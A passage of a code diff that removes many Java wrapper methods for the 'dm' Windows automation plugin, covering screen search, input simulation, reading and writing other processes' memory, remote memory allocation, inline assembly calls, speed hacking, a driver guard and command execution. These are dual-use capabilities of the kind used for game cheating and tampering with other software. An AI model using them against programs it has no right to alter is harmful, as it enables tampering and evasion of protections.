pid) { - return Dispatch.call(dm, "TerminateProcess", pid).getInt(); - } - - public int hackSpeed(double rate) { - return Dispatch.call(dm, "HackSpeed", rate).getInt(); - } - - public String dmGuardParams(String cmd, String subCmd, String param) { - return Dispatch.call(dm, "DmGuardParams", cmd, subCmd, param).toString(); - } - - public String findFloatEx(int hwnd, String addrRange, float floatValueMin, float floatValueMax, int steps, int multiThread, int mode) { - return Dispatch.call(dm, "FindFloatEx", hwnd, addrRange, floatValueMin, floatValueMax, steps, multiThread, mode).toString(); - } - - public int enableRealKeypad(int en) { - return Dispatch.call(dm, "EnableRealKeypad", en).getInt(); - } - - public int getMousePointWindow() { - return Dispatch.call(dm, "GetMousePointWindow").getInt(); - } - - public String faqFetch() { - return Dispatch.call(dm, "FaqFetch").toString(); - } - - public int enableSpeedDx(int en) { - return Dispatch.call(dm, "EnableSpeedDx", en).getInt(); - } - - public int switchBindWindow(int hwnd) { - return Dispatch.call(dm, "SwitchBindWindow", hwnd).getInt(); - } - - public int getCpuUsage() { - return Dispatch.call(dm, "GetCpuUsage").getInt(); - } - - public int findPicSim(int x1, int y1, int x2, int y2, String picName, String deltaColor, int sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindPicSim", x1, y1, x2, y2, picName, deltaColor, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int findStrWithFont(int x1, int y1, int x2, int y2, String str, String color, double sim, String fontName, int fontSize, int flag, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindStrWithFont", x1, y1, x2, y2, str, color, sim, fontName, fontSize, flag, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int enableDisplayDebug(int enableDebug) { - return Dispatch.call(dm, "EnableDisplayDebug", enableDebug).getInt(); - } - - public int middleClick() { - return Dispatch.call(dm, "MiddleClick").getInt(); - } - - public int setPicPwd(String pwd) { - return Dispatch.call(dm, "SetPicPwd", pwd).getInt(); - } - - public String floatToData(float floatValue) { - return Dispatch.call(dm, "FloatToData", floatValue).toString(); - } - - public String disAssemble(String asmCode, long baseAddr, int is64bit) { - return Dispatch.call(dm, "DisAssemble", asmCode, baseAddr, is64bit).toString(); - } - - public String findStrWithFontE(int x1, int y1, int x2, int y2, String str, String color, double sim, String fontName, int fontSize, int flag) { - return Dispatch.call(dm, "FindStrWithFontE", x1, y1, x2, y2, str, color, sim, fontName, fontSize, flag).toString(); - } - - public String ocrExOne(int x1, int y1, int x2, int y2, String color, double sim) { - return Dispatch.call(dm, "OcrExOne", x1, y1, x2, y2, color, sim).toString(); - } - - public int foobarStopGif(int hwnd, int x, int y, String picName) { - return Dispatch.call(dm, "FoobarStopGif", hwnd, x, y, picName).getInt(); - } - - public String findDoubleEx(int hwnd, String addrRange, double doubleValueMin, double doubleValueMax, int steps, int multiThread, int mode) { - return Dispatch.call(dm, "FindDoubleEx", hwnd, addrRange, doubleValueMin, doubleValueMax, steps, multiThread, mode).toString(); - } - - public int getCursorPos(int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "GetCursorPos", xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String readFileData(String fileName, int startPos, int endPos) { - return Dispatch.call(dm, "ReadFileData", fileName, startPos, endPos).toString(); - } - - public int getDictCount(int index) { - return Dispatch.call(dm, "GetDictCount", index).getInt(); - } - - public int getOsBuildNumber() { - return Dispatch.call(dm, "GetOsBuildNumber").getInt(); - } - - public int faqPost(String server, int handle, int requestType, int timeOut) { - return Dispatch.call(dm, "FaqPost", server, handle, requestType, timeOut).getInt(); - } - - public int aiEnableFindPicWindow(int enable) { - return Dispatch.call(dm, "AiEnableFindPicWindow", enable).getInt(); - } - - public int decodeFile(String fileName, String pwd) { - return Dispatch.call(dm, "DecodeFile", fileName, pwd).getInt(); - } - - public int disableCloseDisplayAndSleep() { - return Dispatch.call(dm, "DisableCloseDisplayAndSleep").getInt(); - } - - public int foobarClearText(int hwnd) { - return Dispatch.call(dm, "FoobarClearText", hwnd).getInt(); - } - - public int foobarClose(int hwnd) { - return Dispatch.call(dm, "FoobarClose", hwnd).getInt(); - } - - public int saveDict(int index, String fileName) { - return Dispatch.call(dm, "SaveDict", index, fileName).getInt(); - } - - public int foobarDrawText(int hwnd, int x, int y, int w, int h, String text, String color, int align) { - return Dispatch.call(dm, "FoobarDrawText", hwnd, x, y, w, h, text, color, align).getInt(); - } - - public int setKeypadDelay(String tpe, int delay) { - return Dispatch.call(dm, "SetKeypadDelay", tpe, delay).getInt(); - } - - public int setDict(int index, String dictName) { - return Dispatch.call(dm, "SetDict", index, dictName).getInt(); - } - - public String getNetTimeByIp(String ip) { - return Dispatch.call(dm, "GetNetTimeByIp", ip).toString(); - } - - public int setSendStringDelay(int delay) { - return Dispatch.call(dm, "SetSendStringDelay", delay).getInt(); - } - - public String readData(int hwnd, String addr, int length) { - return Dispatch.call(dm, "ReadData", hwnd, addr, length).toString(); - } - - public int moveDD(int dx, int dy) { - return Dispatch.call(dm, "MoveDD", dx, dy).getInt(); - } - - public int foobarUnlock(int hwnd) { - return Dispatch.call(dm, "FoobarUnlock", hwnd).getInt(); - } - - public int stop(int id) { - return Dispatch.call(dm, "Stop", id).getInt(); - } - - public int forceUnBindWindow(int hwnd) { - return Dispatch.call(dm, "ForceUnBindWindow", hwnd).getInt(); - } - - public int getResultPos(String str, int index, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "GetResultPos", str, index, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String findStrFastExS(int x1, int y1, int x2, int y2, String str, String color, double sim) { - return Dispatch.call(dm, "FindStrFastExS", x1, y1, x2, y2, str, color, sim).toString(); - } - - public int showScrMsg(int x1, int y1, int x2, int y2, String msg, String color) { - return Dispatch.call(dm, "ShowScrMsg", x1, y1, x2, y2, msg, color).getInt(); - } - - public String findPicMemEx(int x1, int y1, int x2, int y2, String picInfo, String deltaColor, double sim, int dir) { - return Dispatch.call(dm, "FindPicMemEx", x1, y1, x2, y2, picInfo, deltaColor, sim, dir).toString(); - } - - public String findIntEx(int hwnd, String addrRange, long intValueMin, long intValueMax, int tpe, int steps, int multiThread, int mode) { - return Dispatch.call(dm, "FindIntEx", hwnd, addrRange, intValueMin, intValueMax, tpe, steps, multiThread, mode).toString(); - } - - public int getLocale() { - return Dispatch.call(dm, "GetLocale").getInt(); - } - - public int loadPicByte(int addr, int size, String name) { - return Dispatch.call(dm, "LoadPicByte", addr, size, name).getInt(); - } - - public int isDisplayDead(int x1, int y1, int x2, int y2, int t) { - return Dispatch.call(dm, "IsDisplayDead", x1, y1, x2, y2, t).getInt(); - } - - public String getColorBGR(int x, int y) { - return Dispatch.call(dm, "GetColorBGR", x, y).toString(); - } - - public int getScreenDataBmp(int x1, int y1, int x2, int y2, int[] data, int[] size) { - Variant dataVar = new Variant(0, true); - Variant sizeVar = new Variant(0, true); - int result = Dispatch.call(dm, "GetScreenDataBmp", x1, y1, x2, y2, dataVar, sizeVar).getInt(); - data[0] = dataVar.getInt(); - size[0] = sizeVar.getInt(); - return result; - } - - public String getCursorSpot() { - return Dispatch.call(dm, "GetCursorSpot").toString(); - } - - public String findPicExS(int x1, int y1, int x2, int y2, String picName, String deltaColor, double sim, int dir) { - return Dispatch.call(dm, "FindPicExS", x1, y1, x2, y2, picName, deltaColor, sim, dir).toString(); - } - - public int getWindowThreadId(int hwnd) { - return Dispatch.call(dm, "GetWindowThreadId", hwnd).getInt(); - } - - public int keyDownChar(String keyStr) { - return Dispatch.call(dm, "KeyDownChar", keyStr).getInt(); - } - - public int getKeyState(int vk) { - return Dispatch.call(dm, "GetKeyState", vk).getInt(); - } - - public int checkFontSmooth() { - return Dispatch.call(dm, "CheckFontSmooth").getInt(); - } - - public int lockMouseRect(int x1, int y1, int x2, int y2) { - return Dispatch.call(dm, "LockMouseRect", x1, y1, x2, y2).getInt(); - } - - public int faqGetSize(int handle) { - return Dispatch.call(dm, "FaqGetSize", handle).getInt(); - } - - public String findPicSimEx(int x1, int y1, int x2, int y2, String picName, String deltaColor, int sim, int dir) { - return Dispatch.call(dm, "FindPicSimEx", x1, y1, x2, y2, picName, deltaColor, sim, dir).toString(); - } - - public float readFloat(int hwnd, String addr) { - return Dispatch.call(dm, "ReadFloat", hwnd, addr).getFloat(); - } - - public int writeDoubleAddr(int hwnd, long addr, double v) { - return Dispatch.call(dm, "WriteDoubleAddr", hwnd, addr, v).getInt(); - } - - public String getDict(int index, int fontIndex) { - return Dispatch.call(dm, "GetDict", index, fontIndex).toString(); - } - - public String moveToEx(int x, int y, int w, int h) { - return Dispatch.call(dm, "MoveToEx", x, y, w, h).toString(); - } - - public String getCursorShape() { - return Dispatch.call(dm, "GetCursorShape").toString(); - } - - public int isSurrpotVt() { - return Dispatch.call(dm, "IsSurrpotVt").getInt(); - } - - public int loadPic(String picName) { - return Dispatch.call(dm, "LoadPic", picName).getInt(); - } - - public int keyUp(int vk) { - return Dispatch.call(dm, "KeyUp", vk).getInt(); - } - - public int capturePre(String fileName) { - return Dispatch.call(dm, "CapturePre", fileName).getInt(); - } - - public String getDiskReversion(int index) { - return Dispatch.call(dm, "GetDiskReversion", index).toString(); - } - - public String getRealPath(String path) { - return Dispatch.call(dm, "GetRealPath", path).toString(); - } - - public int setWordLineHeight(int lineHeight) { - return Dispatch.call(dm, "SetWordLineHeight", lineHeight).getInt(); - } - - public int releaseRef() { - return Dispatch.call(dm, "ReleaseRef").getInt(); - } - - public int enablePicCache(int en) { - return Dispatch.call(dm, "EnablePicCache", en).getInt(); - } - - public String findInt(int hwnd, String addrRange, long intValueMin, long intValueMax, int tpe) { - return Dispatch.call(dm, "FindInt", hwnd, addrRange, intValueMin, intValueMax, tpe).toString(); - } - - public int log(String info) { - return Dispatch.call(dm, "Log", info).getInt(); - } - - public int showTaskBarIcon(int hwnd, int isShow) { - return Dispatch.call(dm, "ShowTaskBarIcon", hwnd, isShow).getInt(); - } - - public int dmGuard(int en, String tpe) { - return Dispatch.call(dm, "DmGuard", en, tpe).getInt(); - } - - public String findString(int hwnd, String addrRange, String stringValue, int tpe) { - return Dispatch.call(dm, "FindString", hwnd, addrRange, stringValue, tpe).toString(); - } - - public int freePic(String picName) { - return Dispatch.call(dm, "FreePic", picName).getInt(); - } - - public int createFoobarRect(int hwnd, int x, int y, int w, int h) { - return Dispatch.call(dm, "CreateFoobarRect", hwnd, x, y, w, h).getInt(); - } - - public int virtualProtectEx(int hwnd, long addr, int size, int tpe, int oldProtect) { - return Dispatch.call(dm, "VirtualProtectEx", hwnd, addr, size, tpe, oldProtect).getInt(); - } - - public String getAveHSV(int x1, int y1, int x2, int y2) { - return Dispatch.call(dm, "GetAveHSV", x1, y1, x2, y2).toString(); - } - - public int getWindowProcessId(int hwnd) { - return Dispatch.call(dm, "GetWindowProcessId", hwnd).getInt(); - } - - public String getClipboard() { - return Dispatch.call(dm, "GetClipboard").toString(); - } - - public int setMinColGap(int colGap) { - return Dispatch.call(dm, "SetMinColGap", colGap).getInt(); - } - - public int deleteIniPwd(String section, String key, String fileName, String pwd) { - return Dispatch.call(dm, "DeleteIniPwd", section, key, fileName, pwd).getInt(); - } - - public int getPointWindow(int x, int y) { - return Dispatch.call(dm, "GetPointWindow", x, y).getInt(); - } - - public String faqSend(String server, int handle, int requestType, int timeOut) { - return Dispatch.call(dm, "FaqSend", server, handle, requestType, timeOut).toString(); - } - - public int asmSetTimeout(int timeOut, int param) { - return Dispatch.call(dm, "AsmSetTimeout", timeOut, param).getInt(); - } - - public int setMouseSpeed(int speed) { - return Dispatch.call(dm, "SetMouseSpeed", speed).getInt(); - } - - public int copyFile(String srcFile, String dstFile, int over) { - return Dispatch.call(dm, "CopyFile", srcFile, dstFile, over).getInt(); - } - - public String findStrExS(int x1, int y1, int x2, int y2, String str, String color, double sim) { - return Dispatch.call(dm, "FindStrExS", x1, y1, x2, y2, str, color, sim).toString(); - } - - public String aiYoloDetectObjects(int x1, int y1, int x2, int y2, double prob, double iou) { - return Dispatch.call(dm, "AiYoloDetectObjects", x1, y1, x2, y2, prob, iou).toString(); - } - - public String findDouble(int hwnd, String addrRange, double doubleValueMin, double doubleValueMax) { - return Dispatch.call(dm, "FindDouble", hwnd, addrRange, doubleValueMin, doubleValueMax).toString(); - } - - public String getDictInfo(String str, String fontName, int fontSize, int flag) { - return Dispatch.call(dm, "GetDictInfo", str, fontName, fontSize, flag).toString(); - } - - public int aiYoloUseModel(int index) { - return Dispatch.call(dm, "AiYoloUseModel", index).getInt(); - } - - public int imageToBmp(String picName, String bmpName) { - return Dispatch.call(dm, "ImageToBmp", picName, bmpName).getInt(); - } - - public String intToData(long intValue, int tpe) { - return Dispatch.call(dm, "IntToData", intValue, tpe).toString(); - } - - public int faqCaptureString(String str) { - return Dispatch.call(dm, "FaqCaptureString", str).getInt(); - } - - public String assemble(long baseAddr, int is64bit) { - return Dispatch.call(dm, "Assemble", baseAddr, is64bit).toString(); - } - - public String ver() { - return Dispatch.call(dm, "Ver").toString(); - } - - public String fetchWord(int x1, int y1, int x2, int y2, String color, String word) { - return Dispatch.call(dm, "FetchWord", x1, y1, x2, y2, color, word).toString(); - } - - public int middleDown() { - return Dispatch.call(dm, "MiddleDown").getInt(); - } - - public String findStrFastE(int x1, int y1, int x2, int y2, String str, String color, double sim) { - return Dispatch.call(dm, "FindStrFastE", x1, y1, x2, y2, str, color, sim).toString(); - } - - public int setWordLineHeightNoDict(int lineHeight) { - return Dispatch.call(dm, "SetWordLineHeightNoDict", lineHeight).getInt(); - } - - public int foobarUpdate(int hwnd) { - return Dispatch.call(dm, "FoobarUpdate", hwnd).getInt(); - } - - public String hex32(int v) { - return Dispatch.call(dm, "Hex32", v).toString(); - } - - public String appendPicAddr(String picInfo, int addr, int size) { - return Dispatch.call(dm, "AppendPicAddr", picInfo, addr, size).toString(); - } - - public int aiYoloSetVersion(String Ver) { - return Dispatch.call(dm, "AiYoloSetVersion", Ver).getInt(); - } - - public String md5(String str) { - return Dispatch.call(dm, "Md5", str).toString(); - } - - public int openProcess(int pid) { - return Dispatch.call(dm, "OpenProcess", pid).getInt(); - } - - public int setDisplayRefreshDelay(int t) { - return Dispatch.call(dm, "SetDisplayRefreshDelay", t).getInt(); - } - - public int setWindowTransparent(int hwnd, int v) { - return Dispatch.call(dm, "SetWindowTransparent", hwnd, v).getInt(); - } - - public int setWordGapNoDict(int wordGap) { - return Dispatch.call(dm, "SetWordGapNoDict", wordGap).getInt(); - } - - public int setEnumWindowDelay(int delay) { - return Dispatch.call(dm, "SetEnumWindowDelay", delay).getInt(); - } - - public int aiYoloSetModel(int index, String fileName, String pwd) { - return Dispatch.call(dm, "AiYoloSetModel", index, fileName, pwd).getInt(); - } - - public String stringToData(String stringValue, int tpe) { - return Dispatch.call(dm, "StringToData", stringValue, tpe).toString(); - } - - public int setClientSize(int hwnd, int width, int height) { - return Dispatch.call(dm, "SetClientSize", hwnd, width, height).getInt(); - } - - public int setDisplayAcceler(int level) { - return Dispatch.call(dm, "SetDisplayAcceler", level).getInt(); - } - - public int waitKey(int keyCode, int timeOut) { - return Dispatch.call(dm, "WaitKey", keyCode, timeOut).getInt(); - } - - public int setMemoryHwndAsProcessId(int en) { - return Dispatch.call(dm, "SetMemoryHwndAsProcessId", en).getInt(); - } - - public int enableShareDict(int en) { - return Dispatch.call(dm, "EnableShareDict", en).getInt(); - } - - public String enumProcess(String name) { - return Dispatch.call(dm, "EnumProcess", name).toString(); - } - - public int is64Bit() { - return Dispatch.call(dm, "Is64Bit").getInt(); - } - - public String executeCmd(String cmd, String currentDir, int timeOut) { - return Dispatch.call(dm, "ExecuteCmd", cmd, currentDir, timeOut).toString(); - } - - public String findStrEx(int x1, int y1, int x2, int y2, String str, String color, double sim) { - return Dispatch.call(dm, "FindStrEx", x1, y1, x2, y2, str, color, sim).toString(); - } - - public int writeData(int hwnd, String addr, String data) { - return Dispatch.call(dm, "WriteData", hwnd, addr, data).getInt(); - } - - public int faqCancel() { - return Dispatch.call(dm, "FaqCancel").getInt(); - } - - public int createFoobarCustom(int hwnd, int x, int y, String pic, String transColor, double sim) { - return Dispatch.call(dm, "CreateFoobarCustom", hwnd, x, y, pic, transColor, sim).getInt(); - } - - public String findMultiColorEx(int x1, int y1, int x2, int y2, String firstColor, String offsetColor, double sim, int dir) { - return Dispatch.call(dm, "FindMultiColorEx", x1, y1, x2, y2, firstColor, offsetColor, sim, dir).toString(); - } - - public String enumWindowByProcessId(int pid, String title, String className, int filter) { - return Dispatch.call(dm, "EnumWindowByProcessId", pid, title, className, filter).toString(); - } - - public long getModuleBaseAddr(int hwnd, String moduleName) { - return Dispatch.call(dm, "GetModuleBaseAddr", hwnd, moduleName).getLong(); - } - - public String getNetTime() { - return Dispatch.call(dm, "GetNetTime").toString(); - } - - public int enableBind(int en) { - return Dispatch.call(dm, "EnableBind", en).getInt(); - } - - public int enableKeypadSync(int en, int timeOut) { - return Dispatch.call(dm, "EnableKeypadSync", en, timeOut).getInt(); - } - - public int lockDisplay(int locks) { - return Dispatch.call(dm, "LockDisplay", locks).getInt(); - } - - public float readFloatAddr(int hwnd, long addr) { - return Dispatch.call(dm, "ReadFloatAddr", hwnd, addr).getFloat(); - } - - public int enableMouseAccuracy(int en) { - return Dispatch.call(dm, "EnableMouseAccuracy", en).getInt(); - } - - public int faqCapture(int x1, int y1, int x2, int y2, int quality, int delay, int time) { - return Dispatch.call(dm, "FaqCapture", x1, y1, x2, y2, quality, delay, time).getInt(); - } - - public int loadAiMemory(int addr, int size) { - return Dispatch.call(dm, "LoadAiMemory", addr, size).getInt(); - } - - public int foobarTextRect(int hwnd, int x, int y, int w, int h) { - return Dispatch.call(dm, "FoobarTextRect", hwnd, x, y, w, h).getInt(); - } - - public String getColor(int x, int y) { - return Dispatch.call(dm, "GetColor", x, y).toString(); - } - - public int sendCommand(String cmd) { - return Dispatch.call(dm, "SendCommand", cmd).getInt(); - } - - public int getResultCount(String str) { - return Dispatch.call(dm, "GetResultCount", str).getInt(); - } - - public int setDisplayInput(String mode) { - return Dispatch.call(dm, "SetDisplayInput", mode).getInt(); - } - - public String findStringEx(int hwnd, String addrRange, String stringValue, int tpe, int steps, int multiThread, int mode) { - return Dispatch.call(dm, "FindStringEx", hwnd, addrRange, stringValue, tpe, steps, multiThread, mode).toString(); - } - - public int setMemoryFindResultToFile(String fileName) { - return Dispatch.call(dm, "SetMemoryFindResultToFile", fileName).getInt(); - } - - public String getWordResultStr(String str, int index) { - return Dispatch.call(dm, "GetWordResultStr", str, index).toString(); - } - - public int enableKeypadPatch(int en) { - return Dispatch.call(dm, "EnableKeypadPatch", en).getInt(); - } - - public int setDictMem(int index, int addr, int size) { - return Dispatch.call(dm, "SetDictMem", index, addr, size).getInt(); - } - - public int setFindPicMultithreadLimit(int limit) { - return Dispatch.call(dm, "SetFindPicMultithreadLimit", limit).getInt(); - } - - public String getMac() { - return Dispatch.call(dm, "GetMac").toString(); - } - - public int unLoadDriver() { - return Dispatch.call(dm, "UnLoadDriver").getInt(); - } - - public int writeIntAddr(int hwnd, long addr, int tpe, long v) { - return Dispatch.call(dm, "WriteIntAddr", hwnd, addr, tpe, v).getInt(); - } - - public String getEnv(int index, String name) { - return Dispatch.call(dm, "GetEnv", index, name).toString(); - } - - public int setMouseDelay(String tpe, int delay) { - return Dispatch.call(dm, "SetMouseDelay", tpe, delay).getInt(); - } - - public int getOsType() { - return Dispatch.call(dm, "GetOsType").getInt(); - } - - public String findShapeEx(int x1, int y1, int x2, int y2, String offsetColor, double sim, int dir) { - return Dispatch.call(dm, "FindShapeEx", x1, y1, x2, y2, offsetColor, sim, dir).toString(); - } - - public int captureJpg(int x1, int y1, int x2, int y2, String fileName, int quality) { - return Dispatch.call(dm, "CaptureJpg", x1, y1, x2, y2, fileName, quality).getInt(); - } - - public int capture(int x1, int y1, int x2, int y2, String fileName) { - return Dispatch.call(dm, "Capture", x1, y1, x2, y2, fileName).getInt(); - } - - public String excludePos(String allPos, int tpe, int x1, int y1, int x2, int y2) { - return Dispatch.call(dm, "ExcludePos", allPos, tpe, x1, y1, x2, y2).toString(); - } - - public int disablePowerSave() { - return Dispatch.call(dm, "DisablePowerSave").getInt(); - } - - public String getNetTimeSafe() { - return Dispatch.call(dm, "GetNetTimeSafe").toString(); - } - - public int findPicMem(int x1, int y1, int x2, int y2, String picInfo, String deltaColor, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindPicMem", x1, y1, x2, y2, picInfo, deltaColor, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String enumWindowByProcess(String processName, String title, String className, int filter) { - return Dispatch.call(dm, "EnumWindowByProcess", processName, title, className, filter).toString(); - } - - public int middleUp() { - return Dispatch.call(dm, "MiddleUp").getInt(); - } - - public int getScreenData(int x1, int y1, int x2, int y2) { - return Dispatch.call(dm, "GetScreenData", x1, y1, x2, y2).getInt(); - } - - public int getWordResultPos(String str, int index, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "GetWordResultPos", str, index, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public long asmCall(int hwnd, int mode) { - return Dispatch.call(dm, "AsmCall", hwnd, mode).getLong(); - } - - public String getProcessInfo(int pid) { - return Dispatch.call(dm, "GetProcessInfo", pid).toString(); - } - - public String findPicSimMemE(int x1, int y1, int x2, int y2, String picInfo, String deltaColor, int sim, int dir) { - return Dispatch.call(dm, "FindPicSimMemE", x1, y1, x2, y2, picInfo, deltaColor, sim, dir).toString(); - } - - public String aiFindPicMemEx(int x1, int y1, int x2, int y2, String picInfo, double sim, int dir) { - return Dispatch.call(dm, "AiFindPicMemEx", x1, y1, x2, y2, picInfo, sim, dir).toString(); - } - - public int enableFakeActive(int en) { - return Dispatch.call(dm, "EnableFakeActive", en).getInt(); - } - - public long readIntAddr(int hwnd, long addr, int tpe) { - return Dispatch.call(dm, "ReadIntAddr", hwnd, addr, tpe).getLong(); - } - - public String getDir(int tpe) { - return Dispatch.call(dm, "GetDir", tpe).toString(); - } - - public String aiYoloSortsObjects(String objects, int height) { - return Dispatch.call(dm, "AiYoloSortsObjects", objects, height).toString(); - } - - public String enumIniKey(String section, String fileName) { - return Dispatch.call(dm, "EnumIniKey", section, fileName).toString(); - } - - public int sendStringIme2(int hwnd, String str, int mode) { - return Dispatch.call(dm, "SendStringIme2", hwnd, str, mode).getInt(); - } - - public int getScreenWidth() { - return Dispatch.call(dm, "GetScreenWidth").getInt(); - } - - public int keyPressChar(String keyStr) { - return Dispatch.call(dm, "KeyPressChar", keyStr).getInt(); - } - - public int setWindowText(int hwnd, String text) { - return Dispatch.call(dm, "SetWindowText", hwnd, text).getInt(); - } - - public int encodeFile(String fileName, String pwd) { - return Dispatch.call(dm, "EncodeFile", fileName, pwd).getInt(); - } - - public int addDict(int index, String dictInfo) { - return Dispatch.call(dm, "AddDict", index, dictInfo).getInt(); - } - - public String findPicS(int x1, int y1, int x2, int y2, String picName, String deltaColor, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - String result = Dispatch.call(dm, "FindPicS", x1, y1, x2, y2, picName, deltaColor, sim, dir, xVar, yVar).toString(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int findWindowByProcess(String processName, String className, String titleName) { - return Dispatch.call(dm, "FindWindowByProcess", processName, className, titleName).getInt(); - } - - public String getAveRGB(int x1, int y1, int x2, int y2) { - return Dispatch.call(dm, "GetAveRGB", x1, y1, x2, y2).toString(); - } - - public int reg(String code, String Ver) { - return Dispatch.call(dm, "Reg", code, Ver).getInt(); - } - - public int foobarDrawLine(int hwnd, int x1, int y1, int x2, int y2, String color, int style, int width) { - return Dispatch.call(dm, "FoobarDrawLine", hwnd, x1, y1, x2, y2, color, style, width).getInt(); - } - - public int writeFloatAddr(int hwnd, long addr, float v) { - return Dispatch.call(dm, "WriteFloatAddr", hwnd, addr, v).getInt(); - } - - public int activeInputMethod(int hwnd, String id) { - return Dispatch.call(dm, "ActiveInputMethod", hwnd, id).getInt(); - } - - public String findPicMemE(int x1, int y1, int x2, int y2, String picInfo, String deltaColor, double sim, int dir) { - return Dispatch.call(dm, "FindPicMemE", x1, y1, x2, y2, picInfo, deltaColor, sim, dir).toString(); - } - - public int faqIsPosted() { - return Dispatch.call(dm, "FaqIsPosted").getInt(); - } - - public int writeFloat(int hwnd, String addr, float v) { - return Dispatch.call(dm, "WriteFloat", hwnd, addr, v).getInt(); - } - - public int isFileExist(String fileName) { - return Dispatch.call(dm, "IsFileExist", fileName).getInt(); - } - - public int strStr(String s, String str) { - return Dispatch.call(dm, "StrStr", s, str).getInt(); - } - - public String rgb2BGR(String rgbColor) { - return Dispatch.call(dm, "RGB2BGR", rgbColor).toString(); - } - - public int loadAi(String fileName) { - return Dispatch.call(dm, "LoadAi", fileName).getInt(); - } - - public int setExcludeRegion(int tpe, String info) { - return Dispatch.call(dm, "SetExcludeRegion", tpe, info).getInt(); - } - - public int getClientRect(int hwnd, int[] x1, int[] y1, int[] x2, int[] y2) { - Variant x1Var = new Variant(0, true); - Variant y1Var = new Variant(0, true); - Variant x2Var = new Variant(0, true); - Variant y2Var = new Variant(0, true); - int result = Dispatch.call(dm, "GetClientRect", hwnd, x1Var, y1Var, x2Var, y2Var).getInt(); - x1[0] = x1Var.getInt(); - y1[0] = y1Var.getInt(); - x2[0] = x2Var.getInt(); - y2[0] = y2Var.getInt(); - return result; - } - - public int virtualFreeEx(int hwnd, long addr) { - return Dispatch.call(dm, "VirtualFreeEx", hwnd, addr).getInt(); - } - - public int getCpuType() { - return Dispatch.call(dm, "GetCpuType").getInt(); - } - - public int foobarSetFont(int hwnd, String fontName, int size, int flag) { - return Dispatch.call(dm, "FoobarSetFont", hwnd, fontName, size, flag).getInt(); - } - - public int leftDown() { - return Dispatch.call(dm, "LeftDown").getInt(); - } - - public int setExactOcr(int exactOcr) { - return Dispatch.call(dm, "SetExactOcr", exactOcr).getInt(); - } - - public String getSystemInfo(String tpe, int method) { - return Dispatch.call(dm, "GetSystemInfo", tpe, method).toString(); - } - - public int setWindowState(int hwnd, int flag) { - return Dispatch.call(dm, "SetWindowState", hwnd, flag).getInt(); - } - - public int writeIniPwd(String section, String key, String v, String fileName, String pwd) { - return Dispatch.call(dm, "WriteIniPwd", section, key, v, fileName, pwd).getInt(); - } - - public int dmGuardLoadCustom(String tpe, String path) { - return Dispatch.call(dm, "DmGuardLoadCustom", tpe, path).getInt(); - } - - public double readDouble(int hwnd, String addr) { - return Dispatch.call(dm, "ReadDouble", hwnd, addr).getDouble(); - } - - public String findMultiColorE(int x1, int y1, int x2, int y2, String firstColor, String offsetColor, double sim, int dir) { - return Dispatch.call(dm, "FindMultiColorE", x1, y1, x2, y2, firstColor, offsetColor, sim, dir).toString(); - } - - public String getBasePath() { - return Dispatch.call(dm, "GetBasePath").toString(); - } - - public String findStrE(int x1, int y1, int x2, int y2, String str, String color, double sim) { - return Dispatch.call(dm, "FindStrE", x1, y1, x2, y2, str, color, sim).toString(); - } - - public int setShowAsmErrorMsg(int show) { - return Dispatch.call(dm, "SetShowAsmErrorMsg", show).getInt(); - } - - public String selectFile() { - return Dispatch.call(dm, "SelectFile").toString(); - } - - public long virtualAllocEx(int hwnd, long addr, int size, int tpe) { - return Dispatch.call(dm, "VirtualAllocEx", hwnd, addr, size, tpe).getLong(); - } - - public int setExportDict(int index, String dictName) { - return Dispatch.call(dm, "SetExportDict", index, dictName).getInt(); - } - - public int asmAdd(String asmIns) { - return Dispatch.call(dm, "AsmAdd", asmIns).getInt(); - } - - public String aiYoloObjectsToString(String objects) { - return Dispatch.call(dm, "AiYoloObjectsToString", objects).toString(); - } - - public int keyPress(int vk) { - return Dispatch.call(dm, "KeyPress", vk).getInt(); - } - - public String findColorEx(int x1, int y1, int x2, int y2, String color, double sim, int dir) { - return Dispatch.call(dm, "FindColorEx", x1, y1, x2, y2, color, sim, dir).toString(); - } - - public String findShapeE(int x1, int y1, int x2, int y2, String offsetColor, double sim, int dir) { - return Dispatch.call(dm, "FindShapeE", x1, y1, x2, y2, offsetColor, sim, dir).toString(); - } - - public int setDictPwd(String pwd) { - return Dispatch.call(dm, "SetDictPwd", pwd).getInt(); - } - - public int setDisplayDelay(int t) { - return Dispatch.call(dm, "SetDisplayDelay", t).getInt(); - } - - public String readDataAddr(int hwnd, long addr, int length) { - return Dispatch.call(dm, "ReadDataAddr", hwnd, addr, length).toString(); - } - - public int getWindowRect(int hwnd, int[] x1, int[] y1, int[] x2, int[] y2) { - Variant x1Var = new Variant(0, true); - Variant y1Var = new Variant(0, true); - Variant x2Var = new Variant(0, true); - Variant y2Var = new Variant(0, true); - int result = Dispatch.call(dm, "GetWindowRect", hwnd, x1Var, y1Var, x2Var, y2Var).getInt(); - x1[0] = x1Var.getInt(); - y1[0] = y1Var.getInt(); - x2[0] = x2Var.getInt(); - y2[0] = y2Var.getInt(); - return result; - } - - public int readDataAddrToBin(int hwnd, long addr, int length) { - return Dispatch.call(dm, "ReadDataAddrToBin", hwnd, addr, length).getInt(); - } 